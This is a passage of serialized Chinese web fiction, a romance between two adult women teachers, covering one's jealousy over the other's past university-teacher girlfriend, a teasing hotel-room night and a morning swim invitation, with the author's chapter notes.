那个年代,性取向是非常严肃的事情, 但张晓年纪轻轻就已经崭露头角, 她非常张扬, 谁都不怕,什么都接触过, 思想又前卫又潮流, 确实不适合读书, 但搞艺术绝对能行。 张晓是知道简越性取向的第一人。 那是一个晚霞热烈的下午,两人肩并肩坐在学校实验室的楼梯上,简越说想做点学习以外疯狂的事,张晓看着她, 忽然问了句:“不然我们谈恋爱吧?谈恋爱可好玩了。” “好。”简越想也没想就答应了。 说出“好”的那个瞬间,简越觉得自己完成了一件事情,她的叛逆就这么简单,压力也释放得如此自然。早就把那个“好”字抛在脑后,转身跑去学习了。 张晓信以为真,正儿八经以女朋友的身份陪伴过她一阵子,但简越明显没投入。 俩人基本没太多共同话题,张晓觉得简越这人太无趣,一点情调都没有,你要和她亲嘴吧,她说她历史试卷还没写完,写完再亲,然后一写就是一整天,你问她能不能亲了?她说还有地理没写,写完再亲。 《下次一定》,简越玩转得很高级。 后来简越忙着学习,索性直接不与张晓见面,这种无情的婉拒确实伤了张晓的心。 张晓不想在简越身上浪费时间,很快退位,变成了普通朋友,关系一般的朋友。 “我和她的恋爱史啊?”张晓情不自禁尬笑起来:“确实挺屎的。” 简越为自己挽回一点形象:“四舍五入等于没有谈过。” 张晓故作伤心姿态:“越越你说话还是这么伤人!” 简越也不客气起来:“那下次可以把我从你女朋友列表里剔除了吗?” 张晓:“当过我女朋友很丢人吗?别看我现在灰头土脸的,在国外别人拿着我的签名,是可以卖钱的!!” “是我配不上你,不敢当,就不献丑了。”简越摆摆手,假意的恭维很明显,讥诮是真相。 听起来她俩在开玩笑。 林筝墨却觉得不能信服,她的好奇心已经被勾起来,没被她们的玩笑话一笔带过。 真的吗? 你和张晓等于没谈过。 那什么是谈过? “然后呢?”林筝墨忽然望向简越,在捕捉到对方唇角笑意那瞬间,一句话戳过去:“简主任,你应该谈过很多次恋爱吧?” 简越忽然被冰冻了。 笑容像是加了凝冰剂,怎么也笑不出来。她不傻,她知道“简主任”这么生疏的三个字意味着什么。林筝墨忽然叫她简主任,这很危险。 “她这么漂亮。”张晓又要口吐骚言:“自然是——” “自然是要求很高,所以没怎么谈过恋爱。”李冉插话,在张晓手臂上碰了一下,“快尝尝荔枝茶,润嗓。” 简越将那两人的反应看在眼里,知道李冉在为她打哈哈。但她不想糊弄林筝墨,因为林筝墨不是傻子,她有自己的分辨力,简越不敢懈怠。 有些事是要坦白,早晚要说。 连忙一五一十交待出来:“除了张晓,我大学的时候确实谈过一次恋爱,一共两次,没有了。” “好的。”林筝墨端起茶杯,抿了一口,觉得茶味微涩,这个答案比她想象中好,但也不好,不好究竟是为什么,可能是因为占有欲吧。 可现实是,简越如果没谈过恋爱,那恐怕是个笑话,很少有人像自己这样不谈恋爱吧?简越才是正常人。 林筝墨思绪飘忽,飘到好远好远的地方去,茶的热气钻进鼻子里,忽然耳边响起简越的声音:“她是我的大学老师,但她已经结婚了,我们没有联系了。” “谈了多久?” “一年。” “噢。”林筝墨只觉得这个“噢”非常轻,轻到她不愿去客观直视它。所以,曾经有人出现在简越的生活里,并且是很长一段时间,很长一段时间都占据了重要位置。 大学老师。 禁忌恋爱需要一定的爱意基础才能冲破,绝对不是玩玩而已,简越能与对方一起,一定是爱过。 煮茶的声音渐渐稀微,开水与茶煎制的气泡在林筝墨耳朵里发酵,有种微妙的难过。 但又告诉自己不可以,谈恋爱不是犯罪。 “晚饭就在这里吃。”冉姐发出邀请:“给你们炖蘑菇。” “要吃吗?”简越征求林筝墨的意见。 蘑菇。 毒蘑菇 死蘑菇。 大学老师蘑菇。 谈恋爱蘑菇。 林筝墨思绪飘忽,虚虚然回应着:“都可以。” * 林筝墨并不开心,但没关系,在保持体面这件事上,她向来都是满分,没有人会察觉她的情绪。她有一种预感,关于大学老师的孢子已经进入她的身体里,恐怕是要长成一朵毒蘑菇。 晚餐之前,李冉拿出菜篮,里面有好多新鲜食材,说这些蘑菇是上午上山采的,避免发霉和不新鲜,所以一直透气保存着,青头菌和紫花菌居多,运气很好,还捡到一点鸡枞。李冉是素食主义者,所以今晚没有肉可以加餐。唯一的蛋白质是豆腐和青豆,说一并要煮进汤锅里。 蘸料酸酸辣辣,很具备一些地域特色。 “这是我去贵城的时候偷的蘸料配方,你们尝尝!”李冉又热情地为大家倒上酸梅汤,“今晚没肉,但蘑菇管够。” 其实菌菇汤相当美味,因为没有添加香料,只是用干净的水煮,所以食材本身的味道很浓郁,林筝墨还挺喜欢这种清淡口的。 简越很照顾她,问她吃不吃香菜,吃不吃折耳根,林筝墨说都可以,她不挑食,简越又给她夹蘑菇。 她每一次给林筝墨夹菜,都要自己先尝一遍,确定口感是好的,才会分享给林筝墨。 林筝墨低头吃饭,好几次觉得简越很贴心,差一点就触碰到幸福的边角料,可忽然又想起大学老师,情不自禁想着:简越也给对方这样夹过菜吧?简越这么贴心,是从那里养成的习惯吧? 一顿饭,甜里甜气,毒里毒气,情绪是失控的小火车,但其中的微妙只有林筝墨才懂。 饭后,大家坐在一起聊聊天,一直夜幕降临,才打算折返。 “不然今晚就住这里了?”李冉指了指客房:“都有准备的。” “下次下次。”简越表示明天还有别的活动,该早点回去休息了。 张晓跑过来凑热闹:“明儿的活动也带上我呗。” 李冉:“人家同事聚会你凑什么热闹,南中的老师都在呢。” 张晓讪笑:“啊,得了,我还是早点洗洗睡吧。” 临走前,李冉专门送了林筝墨一些小礼物,是一个蓝色的扎染帆布包,以及一些小香包之类的,这些都是她手工做的,非常用心。 “谢谢冉姐。” “不客气。”李冉拍拍林筝墨的肩膀:“下次再来,下次我们上山采蘑菇~” 林筝墨心底暖融融的,应下:“下次一定来。” 门外,简越已经把车开到门口,催促着林筝墨上车。黑黢黢的夜色下,大家相互告别,林筝墨三步一回头,最终拿着李冉送她的礼物上车了。 导航显示,回酒店要半小时。简越踩下油门,缓缓启程 山里的天要更黑一些,因为没有污染光,夜色下呈现出深黛色,山峦叠嶂,深深浅浅,带一点渐变。汽车随着盘山公路一直向下,车窗半开,外头的风呼啦啦地吹,吹起了林筝墨额前的碎发。 林筝墨一只手撑着脑袋,在发呆,她看着远光灯照在马路的栏杆上,左拐,右拐,右拐,左拐,蘑菇,毒蘑菇,大学老师。 思绪就是这么拐过来的,和没有规律的山路一样,不知道下一秒会开到哪里。 “怎么啦?”简越发现她异常沉默。 “嗯?”林筝墨声线寡淡,好像没有太大的交流欲望。 “你好像不想说话?” “是。” 简越试探:“是不是我让你不开心了?” “没有。”林筝墨承认自己口是心非,可除了这么回答,不知道还能说什么。 “但是我的感觉应该没有错。”简越直视前方,窗外月的光影落在她的脸上,眼眸的里失落一闪而过:“抱歉,今天确实是想带你认识冉姐的,没想到有不愉快的事情发生。” 林筝墨觉得简越完全没必要道歉,但心情确实像一个瘀堵的、填满泥沙的气球。 “没关系,冉姐人很好,张晓也挺幽默的。” “那就是大学老师了。”简越一针见血。 林筝墨忽然偏过头去,凝视着黑夜的影影绰绰,但不语。她可以否认的,但不想。也许潜意识里,是想听简越说点什么。 简越自顾自说: “我和她虽然谈过一年恋爱,但碍于很多事情,关系总是模模糊糊的。我确实爱过她,但其实那段关系没有未来。她是一个严肃又保守的人,有强烈的道德感和羞耻心,比起她的事业和家人,我简直不值一提。”简越陈述着那段过往:“其实那段时间很痛苦,有对自我的不认可,没感觉到开心,只有不断的,不断的自我怀疑。” 那位大学老师思想严苛,刻板又矛盾,对简越有很多要求。不可以在学校见面,见面只可以拥抱,连接吻也很少,床上之事更是不可提及,当然简越也没提过。到后来,所谓的精神层面恋爱,连接吻也没有了,变成了所谓的柏拉图。 那时候,简越是见不得光的存在,她像一个失落的小偷。 简越觉得那段感情只有自己在付出,对方好像并没有太走心。 她们之间唯一深度交流的,是专业知识,老师应该是欣赏她的,但不爱她。不然老师后来为什么会和前夫复婚?她其实不是同性恋。 林筝墨一字一句听着,听简越的过往,听她坦诚。那些害怕自己所爱之人被占有的情绪渐渐消失,取而代之的是心疼。 “那你喜欢她什么?”林筝墨问这个问题。 简越露出苦涩的笑意:“回想起来我也不知道。” “她给过你什么?” “精神上的鼓励?”简越非常坦诚:“和她交流是挺愉快的,其实后来发现,不适合做恋人。” “哦”林筝墨觉得自己知道得够多了,感谢简越的坦诚。她想咽下那句话,但她没忍住,她真的没忍住:“可是你说,你爱过她。” 简越不得不承认:“和她谈恋爱期间,我确实有投入过。” 林筝墨好看的唇抿成一条线,想假装平静,内心却泛起波澜。看着车窗外逐渐倒退的风景,心里不是滋味。也许,她需要一个答案。 “那你对我是什么感情呢?”—— 作者有话说:温馨提示:请记住林筝墨今天的反应[彩虹屁]以及她尽力保持平静的样子[彩虹屁]后面会考[彩虹屁] 温馨提示2:目前还没有人猜中在哪里接吻,那我就放心了[彩虹屁] 第39章 第三十九章 勾引林筝墨轻而易举~…… 第三十九章 “那你对我是什么感情呢?” 林筝墨脱口而出的时候, 连自己也感到意外。 简越明显表情稍顿,似乎也没想到林筝墨会问这样的问题。 两段感情根本没有可比性,那是截然不同的两种感觉,简越觉得, 前一段感情, 痛苦居多, 但林筝墨不是。她喜欢林筝墨是非常自然而然的事,虽然过程曲折, 但林筝墨给她更多的感觉是愉悦。 答案显而易见: “想走到很长久的感情, 很喜欢。”——简越其实想说,我很爱你,但这样的话说出来, 总觉得有些黏腻了。 林筝墨却字字斟酌了。 好哇。 你对大学老师是爱过。 对我是很喜欢。 虽然我中文不是很好,但爱和喜欢的区别,我还是知道呢。 她忽视掉“想长久”这句, 聚焦于“喜欢”,心情忽然落了空, 沉浸在爱意中的人是这样, 你不爱我, 我渴望你爱我。你爱我,我渴望你更爱我。 连林筝墨也不例外。 “我明白了。”她阖上眼, 耷下眼皮, “有点困, 想睡一觉。” 语气平淡,听不出端倪。 “睡吧~到了我叫你。” 简越暂且没嗅出一点什么,直到车子开出去好一截,后背忽然爬上一层冷汗, 以林筝墨小鸵鸟的性格,应该又要胡思乱想了吧? 再侧目去看林筝墨,她双手抱胸的姿态,看样子已经睡着了 没有答案。 * 到酒店差不多九点左右,教师群一直在发消息,早就99+,简越大致查阅了一下,原来老师们正在泡温泉。 九点啦居然不睡觉吗! “张老师问你去不去泡温泉。”简越把信息给林筝墨查阅。 鸵鸟直摇头,“不泡,我好困。” “行~”简越收起手机,“上去洗洗睡吧。” 俩人慢悠悠上楼,对于林筝墨这样的低能量人群来说,游山玩水是消耗能量,是需要时间来恢复的。 而她恢复的方式就是——在床上躺着。 简越能量相对强一些,见林筝墨虚虚坐在沙发上。 “我帮你换鞋?” “我自己来。”林筝墨直起腰板,奈何动作慢了一步,简越已经过来,蹲身在替她解鞋带了。 鞋带的结很快松开,简越掌着林筝墨的后脚跟,轻轻帮她把脚抬起来。 虽然只是一个抬脚的动作,但意味着太多。接触脚掌和亲吻眼睛是一个概念,暗含着一种私密,一种亲昵。 林筝墨有点受宠若惊,不好意思地缩了缩脚,“我来吧。” 简越摁住她,“没事,别动,马上就脱了。” 她轻轻扒开鞋舌,缓慢地将运动鞋脱落出来,林筝墨穿着一双白色浅口小短袜子,在袜子侧边,有一只绣纹的可爱卡通小猫,这只猫咪,穿上鞋是看不到的。 脱掉运动鞋等于褪下面纱,显露出林筝墨的本色。 这双袜子和林老师的人设不太搭调,有点可爱过头了。 简越唇角噙着笑,拇指在小猫脑袋上揉了一下,“哇,你袜子好可爱。” 林筝墨脸颊泛起红晕,略微局促起来。 简越顺手又将她袜子脱了下来,林筝墨的脚很漂亮,脚背骨感,白皙干净,指甲被剪得整整齐齐,关节和关节之间泛着粉嫩的白。 简越放下一只,替她去脱另一只。 一次性拖鞋穿上了,在她脚上轻轻拍了拍,“换好了,去洗澡。” 林筝墨忽然就觉得她有点像简越的女儿 呃,妈妈真好! 那种感觉更倾向于害羞、还有一点点对温馨的不知所措,逃跑似乎是最佳选择,有种爱到深处无颜见江东母老的局促感。 “那我先洗!”林筝墨在行李箱胡乱拿出睡裙,迷糊道:“我很快的!” 鸵鸟钻进浴室,鸵鸟打开花洒,鸵鸟把玻璃窗涂上氤氲,鸵鸟在哗啦啦的淋浴下冲澡,水声哒啦哒啦,像一首富有节律的音乐。 简越坐在沙发上,静耳聆听,忽然对着空气傻笑。 好。 可。 爱。 * 浴室内。 温热的水线滑过雪白的身躯,墨发粘黏在后背,透明的水线勾勒出身体的弧度,双肩纤瘦,孱弱而美丽。雾气熏蒸,白雾缭绕在空气里,粉与白的极致点缀,一片白雪里开出两朵樱花,绚丽又撩人。 她却在发呆。 只是机械地站在水下,神情僵木,思绪飞到一万公里以外,林筝墨觉得自己中了蘑菇的毒,那种毒素注入她的身体里,是精神上的,暂且无法缓解的毒。 她把这种毒称之为:大学老师蘑菇毒素。 正式列入世界未解之谜:大学老师蘑菇毒素,不会死,不会产生幻觉,不用进医院,但会难过。 哦。 简越爱过她。 简越爱过她。 简越爱过她。 爱过? 爱? 撇点点撇点横钩横撇横撇捺? 她在脑袋里回溯了一遍这个字的笔画。 这么复杂的一个字就应该让人讨厌! 爱是一个多么危险的字,涉及到灵魂层面。它有疯狂、有炽热、有毒,简越的爱不可以是别人,只能是自己。 林筝墨的占有欲强烈到可怕,像雾气一样填充到整个浴室里。 可她不露声色,不声不响用浴巾擦干身体,仿佛先前那场情绪大地震没有发生过。 “洗完啦?”几乎是林筝墨踏出浴室门的下一秒,简越就开口说了这句话。 林筝墨穿着一件素白的,浅纱质地的睡裙,刚好到膝盖,露出细长白皙的小腿。刚洗完澡仙里仙气的,是了,林仙仙洗掉了一日的人生粉尘,到晚上重新做回神仙了。 简越擎着自己的下巴,一瞬不瞬直视那个方向,有种酒酣耳热的感觉。 想亲。 “你去洗吧。”林筝墨这时还一无所知。 “好。”简越直起身来,寻思着,今夜势必有一场战斗。 标题为:《小心翼翼从这张床挪到那张床,只为撕掉仙女的面纱,大战天宫三百六十回合》。 夸张了。 不如简称:撕面计划。 简越拿起自己的战袍,下午给林筝墨过目的那条睡裙。 不动声色留下一句:“我洗澡也很快的。” 简越到浴室的时候,并没有嗅到大学老师毒蘑菇毒素,只闻到高中英语老师留下的余芳,心神荡漾。 早就说过,简越是有计划、有安排的一个人。 让她放弃林筝墨是不可能的事,比如这件睡裙在一周前就已经购置好了,原计划是线下见面那天穿,没想到成为战损版,如今东山再起,势必要杀出一条血路来。 简越洗澡就花了四十分钟。 林筝墨玩手机都玩困了,简越居然还在吹头发。 无人知晓,造型师在卫生间摆弄一番,刻意把头发吹到一个自然又撩人的状态,衣服丝丝缕缕都精准到某种状态,以至于再定睛一看时,简越发现镜子里的自己好陌生。 未必然太有女人味了一些!和平日的老干部有什么关系! 简越不吝夸赞,暗中表扬自己: 你是天生勾l引女人的一把好手!林筝墨就算有八双翅膀也逃不过你的手掌心! 啪嗒—— 她关掉浴室的灯,笼罩着一身水气走出来。 那时林筝墨玩手机玩得困恹,几乎下一秒就要睡着了。 简越一路走,一路关灯,玄关、走廊、大客厅、顶灯直到整个空间只剩一盏橘黄色的小夜灯,光线迷黯。 林筝墨迷迷糊糊往身旁一看,发现简越穿着那件裙子就站在她的面前。?! 墨发披肩,精致的五官在黯淡的光影下显得很有诱惑力,她的鼻梁挺直,红唇雪腮,多看一眼都会心动。这不是重点,两条细丝肩带,搭在纤细却有力的臂膀上,与平日禁欲的风格截然不同,浅v领口,平直锁骨以下的光景若隐若现,性感得过头了。 她若是不低头还要,偏偏要故意低下头给手机充电。 于是林筝墨正好瞥见那道光景。 浅浅一条沟壑,皮肤白得发光,恰到好处的饱满,一路烧到里面去,可里面又是怎样的光景,便不得而知了。 林筝墨第一次觉得,面料这么吝啬的睡裙,是应该再吝啬一些,她真的想扒掉她的皮,用上那个不合时宜的词:吃干抹净! “还没睡呢?”简越假装一本正经道,把充好电的手机放在两张床的柜子上,“看你刚刚好像要睡着了,就把灯关了一些。” “嗯。”林筝墨发出虚弱的鼻音,眼睛却没舍得眨一下。 睡觉么? 刚刚是挺困的。 瞌睡虫都飞上来了,现在兴奋妖精又跳出来喧嚣,我林某人是没救了。 “那睡觉吧?”简越在自己床边坐下,轻轻撩动头丝,拢了拢刚吹干的头发,刻意使用过的头发精油挥发到空气中。 闻得林筝墨一愣一愣的。 什么味道,好香。 她还在看简越。 简越坐在那张床上,背景是深蓝色的绸丝窗帘、一盏弧形弯折的灯、茶几上放着她们的包,简越拨弄头发的时候,细而洁白的手臂晃来晃去,晃来晃去。 那晃动的影子像是一种蘑菇的致幻效果。 高中政治老师毒蘑菇毒素,远远大于——大学老师毒蘑菇毒素。 毒素填充了整个空间,令林筝墨头晕目眩,口舌燥热。 她支起身来,“水呢,水在哪?” “渴了吗?”简越停下手里的动作,心想我只是略施小计,“在那边,我给你拿。” 她起身去替林筝墨拿矿泉水,走到电视柜那边,转身时,后背一大片镂空,肩膀到腰的那部分又暴露在空气中。 林筝墨呼吸一滞。 有种老师逮着学生作弊,却拿不出证据的无力感 简越转身,把矿泉水递给她,“快喝吧。” 林筝墨拧开盖子,咕噜咕噜喝了大半瓶。 “慢点喝,不着急。” “我渴。” 简越看了眼时间,十一点,“早点睡吧。” 林筝墨把盖子拧回去,顺手把水瓶放在床头柜上,整个人缩进被子里,把自己包裹起来,只露出一颗脑袋,眼神亮晶晶地看着简越。 她问她:“你多久睡?” 简越:“我擦个面霜就睡。” 林筝墨:“喔,好。” 简越:“你要看我擦?” 林筝墨下一秒就闭上了眼睛,像一个心虚的胆小鬼,若不是光线黯淡,还能捕捉到她脸颊的红晕。 听到瓶瓶罐罐的声音,难怪简越皮肤很好,护肤很是精细。林筝墨不敢再睁开眼,听觉却敏锐到不行,她到哪一步了,全靠脑补。 睡不着,根本睡不着。 “呲呲——”只听见简越喷了一点香水,又滑溜溜盖上了盖子。 林筝墨仔细嗅了嗅,却什么都没闻到。 不一会儿,那味道传过来了,随着简越的脚步声,啪嗒啪嗒,香味也飘到床边。 林筝墨只觉得一道影子压在眼皮上,简越应该是在看她。 哒—— 简越关掉了最后一盏灯。 林筝墨在漆黑下终于睁开眼,恍惚中看到一点轮廓,是简越,她还站着。 “林筝墨,睡了吗?” 林筝墨的心脏快速跳动了一下,“没。” 简越说:“我刚买的香水,你要不要闻一闻?” “我——”林筝墨抓紧了被褥,喉咙忽然烧起来,原来跳脱出屏幕之外的撩拨,更胜千倍万倍,那种快速的、强烈的感觉从心口席卷而来,如同一道漩涡将她旋转进去,她晕乎乎的:“我不知道。” 简越弯下腰来,墨发落在林筝墨的侧脸,轻轻扫动着,像是在心尖挠痒痒。 下一秒,简越把脖子贴在林筝墨的鼻尖上。 “怎么样?好闻吗?”—— 作者有话说:简越:是不是又想喝水了?[彩虹屁] 林筝墨:是,但我想喝你的水[小丑] 更新奉上,今晚就不更了。 昨天连续锤了12小时柠檬真的来不动了 但明天我休息嘿嘿 明天我直接大更特更 本章评论区发红包,爱宝宝们,对不起昨天没更到!! 第40章 第四十章 昨天晚上就想吻你 四十章 “怎么样?好闻吗?” 简越皮肤贴过来的时候, 林筝墨先是觉得鼻尖温热,那种触觉温软而细腻,之后才闻到气味,脑袋嗡的一下, 神智虚浮, 只觉得墨蓝色的天花板也变得清莹, 有什么东西在心头发酵,轻飘飘。 好香。 简越的气味带着一点点冷, 让人想起冬天里的雪, 不甜不腻,和她本人很搭调。 “不说话,就是不好闻了。”简越往后退了些, 发丝轻轻扫过林筝墨的脸颊。 简越一离开,林筝墨只觉得内心的空缺像一个窟窿那么大。 “我没闻到。”她小声说,紧张到口干舌燥。 “那你要不要再闻闻?”简越说话的气息揾在林筝墨脸上, 湿热热的,像一把有毒的小钩子, 挑弄着林筝墨的神经。 “要。” 简越保持不动, 在黑暗里凝视着林筝墨, 引导她:“那你过来。” 送到嘴边的,一次不吃, 下次就要追着要了。她确实像逗小朋友一样逗林筝墨, 偏偏林筝墨还要上钩。 黑暗中, 简越抬起手,食指勾着手腕上的橡皮筋,娴熟地将自己的头发扎起来,扎成一个随性又撩人的丸子头。 她故意露出大片雪白肌肤, 就等着林筝墨来攫取。 小饵一抛,鱼儿上勾。 林筝墨的眼神变得贪婪,一双手从被窝里出来,手肘往后支撑,上半身往简越的方向靠近。 她贴近,嗅到简越的脖颈。 双眼微阖,克制又放肆地闻了一下。 香氛扑面而来,林筝墨难忍,情不自禁用鼻尖偷偷蹭简越的颈部,简越的皮肤像刚倒出来的牛奶,光润又丝滑,她的气味形成一种独特的费洛蒙,像一个巨型漩涡,迅速将林筝墨吸进去。 林筝墨简直是受不了了。 浑身发软,溽热熏蒸。 她迅速倒下去,整个人像一滩软烂的泥,脑袋陷在枕头里,无措道:“什么味道?” “无花果。” “甜。”她开始吝啬言语,以这样的方式掩饰自己的心虚,“我困了。” “所以好闻吗?” “不好闻。”林筝墨闭目养神。 呵呵。 简越心想,要不要揭穿她如此明显的谎言,又害怕那人吓得连夜奔走,恐怕最后要扑一地鸵鸟毛,只好以退为进。 俗话说:慢就是快! “那晚安。” “晚安。” 勾引林筝墨计划:50%. 成功但失败! * 嘴硬的结果是——失眠。 林筝墨满脑子旖旎画面,大脑兴奋持续了两小时之久,一直到凌晨一点才沉沉睡去。 简越守株待兔的结果是——兔子她喵的睡着了! 两张床相距不过两米之远,居然都可以做到纹丝不动。 关于火影忍者的博弈还在继续。 到深夜,简越听到林筝墨均匀的呼吸声,开始失眠,一些焦灼的心理活动:她这么能忍吗?在床上翻来覆去多少次了?就没想过掀开被子过来睡?难道我会拒绝你吗!难道我会拒绝你吗! 再这么耗下去,暴雨也要停歇了。 顶级高手最强的技能是能伸能屈,既然你不过来睡的话,那我就 简越索性支起身来,掀开被子,双脚落在床边,脚趾钻进拖鞋里,一些早在脑袋里模拟过的丝滑动作,比如往前走两步,也就是左脚抬了右脚跟上的事。 夜色昏黑,她弯下腰,掀开林筝墨被子一角,心跳扑通扑通撞着胸腔,动作却不怯懦的,大女人就要敢做敢冲。 嘶溜~ 溜~ 滑~ 成功降落! 她躺在林筝墨身旁,两人共用一张被子,简越面不改色地替自己掖好被子,稍一侧身,直接将林筝墨揽入怀中。 林筝墨迷迷糊糊“唔”了一声,简越轻轻拍她的肩膀。 哄她:“哦哦~没事了~乖乖睡觉吧。” 怀里的人不再有声响,恬静乖巧,反而睡得比刚才更熟了。 简越低声笑,在林筝墨眼角吻了一下,觉得不够,又吻了一下右边。 “晚安。” * 林筝墨只觉得这一觉睡得相当的好,像是坠落棉花里,那些被阳光晒过的,温暖的,柔软的东西包裹着她,让她想起凛冬过去,春日将至,那种寒意驱散的感觉。 她在梦中吊着,半梦半醒,脸颊一偏,忽然贴在一条手臂上。 直冲天顶盖,触碰明显是另一个人类。 恐寒之意瞬间袭上心头,倏然睁开眼,昨夜在梦中游荡整夜的人就睡在旁边。 简越正熟睡,明明眼睛是眼睛,鼻子是鼻子,墨发随意散落在枕边,就是那么别致。 林筝墨与她距离极近,她搂着林筝墨,一只手搭在林筝墨腰上,轻轻拥着,那么自然。 像恋爱中的情侣,这个怀抱对林筝墨来说意义非凡, 她没有被人这样抱过,以这种姿态,这种距离。 没记错的话,昨夜和简越什么都没发生过不是吗?她吊着困意等待了三个小时,简越纹丝不动,没有要过来睡觉的意思——虽然她也没暗示。 可现在 昨夜的余温再度燃烧起来。 她不敢看简越,又忍不住看简越。 看简越的脸颊,嘴唇,脖子,以及锁骨以下的光景。 且一只手正贴在简越的身前,只要手指再往前一点,她就可以触碰到简越的身体。 她在温热的被窝里躁动,踟蹰半晌,手指情不自禁往上,在简越的锁骨上轻轻戳了一下,戳得很小心翼翼,不敢深入。戳完,又用手指去碰简越的嘴唇,指腹触碰到了,好像就吻到了。 这像是一个无人监视的小游戏,可以肆意妄为。 简越迷迷糊糊觉得痒,缓缓醒来。 她好像感觉到林筝墨在“玩”她了。 小鸵鸟的手指在她脸上戳来戳去,这人上辈子莫不是个戳神。 做点别的啊~ 简越在内心呼喊。 林筝墨~ 你二十八岁啦。 怎么净玩些小孩子都不玩的东西。 啊~ 怎么还在戳? 这么漂亮的手指。 多戳戳也是好的。 就是戳错了方向。 苦哉。 简越思索着,无意识间,眼睫毛忽然不小心颤了颤,林筝墨的手指瞬间缩了回去。 她似乎心虚,又刻意往后面挪了挪,和简越保持着合理的距离。 之后不声不响,再也没了动静。 简越无奈,只好缓缓睁开眼来,佯装不知。 先是磨蹭了一会儿,盯着天花板,接着发出软绵绵的声音:“嗯嗯?”故意动了动枕着林筝墨的手臂,提醒她,然后发出一百分的困惑:“啊”尾音夹带着疑问,最虚假的就是最完美的。 林筝墨不擅长伪装,也许是心慌,没察觉到简越的异样,在简越挪手那瞬间,只能虚虚睁开眼来,与简越对视。 林筝墨脸颊微红,木讷讷看着简越。 简越先发制人,故作惊讶,眉稍拧,眼往上提,又垂下来,似是困惑,发出意味深长的:“嘶——” “你怎么睡在这里?”这是林筝墨刚刚就想问的问题。 “我不知道诶。”简越半个身子支起来,很是费解:“完全没有印象了。” 她慢慢起来,一只手撑在枕边,细白的胳膊上吊着肩带,人又瘦,衣服宽,稍不注意,真的非常“稍不注意”,肩带不知道怎么回事,眼见滑落下去,春光就要乍泄。 林筝墨慌了神,连忙伸出手,帮她把肩带又提了上去,摁住,不许滑。 “谢谢。”简越低头看了眼林筝墨死死摁住肩带的手,唇角上扬,“我应该是半夜上厕所,睡懵了所以就。” “嗯,应该吧。”林筝墨抿唇,故作平静:“你快过去睡吧。” “我不睡了。”简越大大方方直起身来,拢了拢肩上的长发,“赵铭和张老师约我游泳。” “这么早?” “昨晚约好的。”简越已经起身,“张老师说泡温泉的时候,我们不是不去?她又邀请我去晨泳。”说完这句,侧目去看林筝墨:“你要一起吗?” “我不会。”林筝墨的脚趾在被窝里画了一个小小的叉,心想,你和张老师游泳就算了,赵铭是个什么东西?他不是蠢蛋吗?我虽然很少骂人蠢蛋,但要陈述这样的事实也有点情不自禁了。 “我教你。”简越从行李箱里拿出两套泳衣来,“衣服正好带了两套。” “不去。”林筝墨别扭起来,不爽简越和赵铭游泳这件事。 “哦~”简越把林筝墨的泳衣放在柜子上,自己携了一套,只身往浴室走,很快响起洗漱的声音。 * 【营养加更章】 * 林筝墨躺在床上,给张老师发消息:【张老师,上午怎么安排呢?】 张老师直接发了一条语音过来。 “游泳啊,简主任没和你说吗?” 林筝墨:【说了。】 张老师:“等会儿你和简主任快下来啊,我游给你们看,别看我一把老骨头了,当年我游那条河的时候”——此条语音为60秒,林筝墨没听完。 大约十分钟后,卫生间的门打开,简越神清气爽走出来,又问林筝墨:“真的不去吗?” “我不去。”林筝墨嘴巴好不容易里磕出一句:“太早了,你太积极了,去和赵铭游吧。” “喔,好~”简越把泳衣塞进包里,看着床上裹成一团的白色粽子,故意激她:“那我走啦?” 啦? 她还用啦? 林筝墨翻身,一只耳朵砸进枕头里,冷不丁道:“再见。” 简越不和她周旋,关门走人。 时间是上午八点四十五分,回廊里寂静,楼下餐厅等候的只有张老师一人。 至于赵铭。 谁要和他游泳啊。 林筝墨躺在单人床上,左耳贴在枕头上,翻身,右耳又贴上,翻来覆去,去覆来翻,房间里虽然没有声音,但焦灼喧嚣。 她想给张老师发消息: 【张老师,除了你,赵铭在吗?】——林筝墨打下这句,删掉了。 【张老师,你们在哪里游泳?】——也删了。 她切出聊天框,给赵铭发消息: 【你还会游泳呢?】——发出去了。 又撤回了。 手机呈抛物线扔了出去,扔在了简越的床上,林筝墨从被窝里钻出来,气不过,跑到简越的床边,在枕头上狠狠锤了几下。 “毒蘑菇,烂蘑菇,坏女人蘑菇。” 整个房间回荡着林筝墨的碎碎念 * 楼下餐厅,早餐自助供应。 张老师往嘴巴里塞了一片吐司,撇嘴:“洋餐都好难吃。” 简越剥好半颗鸡蛋,捏着蛋壳递给张老师,“吃这个,补充点蛋白质,等会儿好消耗。” “行。”张老师接过,含笑:“小林不来吗?” “她等会儿来。” “噢。”张老师咬了一口鸡蛋,边咀嚼边嘟囔:“我这次出来玩,拍拍照片,我老公在微信上连打三通电话,让我收着点。” 简越嗤笑:“他有危机感了?” “可不是嘛。”张老师表情带着一点骄矜:“他个死老头不让我穿漂亮衣服,游个泳也啐,化个妆也啐,偏不随他的意,等会儿游泳,你多给我拍几张照片!我发朋友圈。” “没问题。”简越对张老师的事迹有一些了解,“听说您以前游泳队的?” “也不是。”张老师谦虚地笑了笑,“游过一段时间,纯属爱好。” 世界就是如此荒谬,张老师年轻的时候想成为游泳教练,兜兜转转最后不知道怎么教上了历史,人生的变卦就是这么诡谲。 两人随便聊几句,早餐没吃太多,填饱肚子而已。 慢悠悠朝游泳馆走去,早上人少,且池子清理过,算是比较干净的状态,适合游泳。 更衣间里,张老师大谈特谈,外衣褪下时,一大团肉明晃晃露在简越面前,年衰而干瘪,有种被时光蹉跎的垂吊沧桑。 她略显感慨,看着简越的身体,说:“年轻的身材就是好,我以前也这么紧致呢。” 简越说:“别这么说,张老师,您最近瘦不少,看起来精神多了。回头我们多约约游泳,过一段时间就腰上的肉就少得多了。” 张老师得到安慰,温和笑道:“不错,那我少打两圈麻将。”说着穿上了泳衣,“诶?小林什么时候来?” “不知道。”简越琢磨着:“一小时吧?” * 简越实在高估了林筝墨的忍耐力,在锤床三百六十五下后,我们泡芙一样的枕头终于变成了梅干菜扣肉饼。 林筝墨绝不承认自己的情绪暴走过,因为她觉得她醋得也莫名其妙的,她对简越的占有欲达到了一种疯魔的地步。 床上的手机震动一下。 赵铭终于回消息了:【刚睡醒,你刚刚撤回了什么?】 林筝墨:【你不是游泳吗?】 赵铭:【你要约我吗?星星眼jpg.】 赵铭:【那我起床了。】 林筝墨:【不好意思,发错人了,我以为你是赵鸣。】 赵铭:【?】 林筝墨:【赵鸣是我另外一个朋友,你们名字太像,打扰了。】 林筝墨站起身来,泳衣就规规矩矩在桌上放着,回忆起早上简越出门时的语气。 好啊。 坏女人。 